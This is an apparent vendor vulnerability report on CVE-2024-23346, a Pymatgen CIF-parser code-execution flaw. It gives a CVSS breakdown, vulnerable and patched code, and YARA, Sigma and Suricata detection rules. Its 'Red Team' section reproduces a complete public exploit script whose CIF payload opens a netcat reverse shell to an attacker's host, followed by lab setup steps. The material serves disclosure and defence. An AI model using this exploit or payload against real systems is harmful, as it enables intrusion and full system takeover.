CVE-2024-23346
Executive Summary
CVE-2024-23346 is a critical remote code execution (RCE) vulnerability in the Pymatgen library, a widely used open-source Python package for materials analysis. The flaw resides in the JonesFaithfulTransformation.from_transformation_str() method, which unsafely uses Python's eval() function to process user-supplied input. An attacker can craft a malicious CIF (Crystallographic Information File) that, when parsed by a vulnerable version of Pymatgen, executes arbitrary shell commands. The CVSS score of 9.4 reflects the ease of exploitation (no authentication required) and the potential for full system compromise. A public proof-of-concept (PoC) exploit is available, demonstrating a reverse shell attack. The vulnerability affects all versions prior to 2024.2.20.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Pymatgen is distributed via PyPI, making it a critical component in the Python materials science ecosystem. The vulnerability introduces a significant supply chain risk: any application or service that ingests CIF files from untrusted sources (e.g., user uploads, external databases) and uses Pymatgen for parsing is vulnerable. Organizations should audit their dependencies and ensure that Pymatgen is updated to the patched version. Additionally, consider using software composition analysis (SCA) tools to detect vulnerable versions in your environment.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond parsing the file.
- Scope (S): Unchanged (U) – The exploit does not change the security scope.
- Confidentiality (C): High (H) – Full system read access possible.
- Integrity (I): High (H) – Full system write access possible.
- Availability (A): High (H) – Potential for denial of service or full system takeover.
Threat Level: Critical. The combination of network exploitability, low complexity, and high impact makes this a top-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability is rooted in the JonesFaithfulTransformation.from_transformation_str() method. This method is used to parse transformation strings from CIF files, specifically the _space_group_magn.transform_BNS_Pp_abc field. The method passes the input directly to Python's eval() function without sanitization.
# Vulnerable code (simplified)
class JonesFaithfulTransformation:
@staticmethod
def from_transformation_str(transformation_str):
# Insecurely evaluates the input string
result = eval(transformation_str)
return result
An attacker can embed arbitrary Python code within the transformation string. The public PoC exploits this by injecting a command that uses Python's object introspection to access the os module and execute a reverse shell.
The attack flow:
- Attacker crafts a malicious CIF file with a payload in the
_space_group_magn.transform_BNS_Pp_abcfield. - Victim uses Pymatgen's
CifParserto parse the file. - The parser calls
from_transformation_str()with the attacker-controlled string. eval()executes the payload, spawning a reverse shell.
Vulnerable vs. Patched Code
Vulnerable (pre-2024.2.20):
# pymatgen/symmetry/maggroups.py (simplified)
class JonesFaithfulTransformation:
@staticmethod
def from_transformation_str(transformation_str):
# UNSAFE: Direct eval of user input
return eval(transformation_str)
Patched (2024.2.20+):
# pymatgen/symmetry/maggroups.py (simplified)
class JonesFaithfulTransformation:
@staticmethod
def from_transformation_str(transformation_str):
# SAFE: Use ast.literal_eval for safe evaluation
import ast
return ast.literal_eval(transformation_str)
The patch replaces eval() with ast.literal_eval(), which only evaluates literal Python expressions (strings, numbers, tuples, lists, dicts, booleans, and None). This prevents arbitrary code execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
The public exploit (Exploit-DB) demonstrates a reverse shell attack. Below is the full exploit code:
# Exploit Title : Pymatgen 2024.1 - Remote Code Execution (RCE)
# Google Dork : (not applicable)
# Date : 2024-11-13
# Exploit Author : Mohammed Idrees Banyamer
# Vendor Homepage : https ://pymatgen.org
# Software Link : https ://pypi.org /project /pymatgen/
# Version : 2024.1
# Tested on : Kali Linux 2024.1
# CVE : CVE-2024-23346
import os
# Function to create the malicious CIF file
def create_malicious_cif(ip, port):
# Constructing the malicious CIF file with reverse shell payload
malicious_cif = f"""
data_5yOhtAoR
_audit_creation_date 2024-11-13
_audit_creation_method "CVE-2024-23346 Pymatgen CIF Parser Reverse Shell Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc {ip} {port} -e /bin/bash");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
"""
# Save to a file
with open("vuln.cif", "w") as file:
file.write(malicious_cif)
print("[*] Malicious CIF file created: vuln.cif")
# Function to trigger the exploit by parsing the malicious CIF file
def exploit():
ip = input("Enter your IP address for the reverse shell: ")
port = input("Enter the port for the reverse shell to listen on: ")
# Create the malicious CIF file
create_malicious_cif(ip, port)
# Trigger the Pymatgen CIF parser to parse the malicious file
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
# Running the exploit
if __name__ == "__main__":
exploit()
Lab Setup:
- Attacker Machine (Kali Linux): Run
nc -lvnp <PORT>to listen for the reverse shell. - Victim Machine: Install Pymatgen version 2024.1 (
pip install pymatgen==2024.1). - Execution: On the victim machine, run the exploit script. It will prompt for attacker IP and port, create
vuln.cif, and parse it, triggering the reverse shell.
Blue Team (Defense & Detection)
Detection:
- Monitor for processes spawning
nc,/bin/bash, or other shells from Python scripts. - Look for CIF files containing suspicious strings like
__class__,__mro__,__subclasses__, oros.system. - Use the detection rules below.
Mitigation:
- Immediately upgrade Pymatgen to version 2024.2.20 or later.
- If upgrade is not possible, implement input validation to reject CIF files containing
eval-like patterns. - Use a Web Application Firewall (WAF) to block requests containing malicious CIF payloads.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on payload)
vuln.cif:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to attacker-controlled IPs on common reverse shell ports (4444, 5555, etc.).
- Unusual DNS queries or HTTP requests to C2 domains.
- Process Indicators:
- Python process spawning
nc,bash,sh, orpowershell. - Child processes with network connections.
- Python process spawning
- File System Indicators:
- Unexpected CIF files in directories where Pymatgen is used.
- Temporary files with suspicious names.
Detection Engineering
YARA Rule
rule CVE_2024_23346_Pymatgen_RCE {
meta:
description = "Detects malicious CIF files exploiting CVE-2024-23346"
author = "Valters IT"
date = "2024-11-13"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23346"
strings:
$s1 = "_space_group_magn.transform_BNS_Pp_abc"
$s2 = "__class__"
$s3 = "__mro__"
$s4 = "__subclasses__"
$s5 = "os.system"
$s6 = "BuiltinImporter"
condition:
all of ($s1, $s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2024-23346 Pymatgen RCE via Malicious CIF
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2024-23346 via CIF file parsing
author: Valters IT
date: 2024-11-13
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python3'
CommandLine|contains: 'CifParser'
condition: selection
falsepositives:
- Legitimate use of CifParser with trusted files
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-23346 Pymatgen RCE - Malicious CIF Transfer"; flow:to_server,established; content:"_space_group_magn.transform_BNS_Pp_abc"; content:"__class__"; content:"__mro__"; content:"__subclasses__"; content:"os.system"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade Pymatgen to version 2024.2.20 or later.
pip install --upgrade pymatgen - Workaround: If upgrade is not possible, implement input validation to reject CIF files containing the pattern
_space_group_magn.transform_BNS_Pp_abcwith suspicious content. - Network Segmentation: Restrict outbound connections from systems that parse CIF files to prevent reverse shell callbacks.
- Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
- User Education: Warn users about the risks of parsing CIF files from untrusted sources.
Valters IT – DevSecOps & Cyber Threat Intelligence Report
{/* [Security Hash: FD2F1A23ECDF5669F9D84E71] */}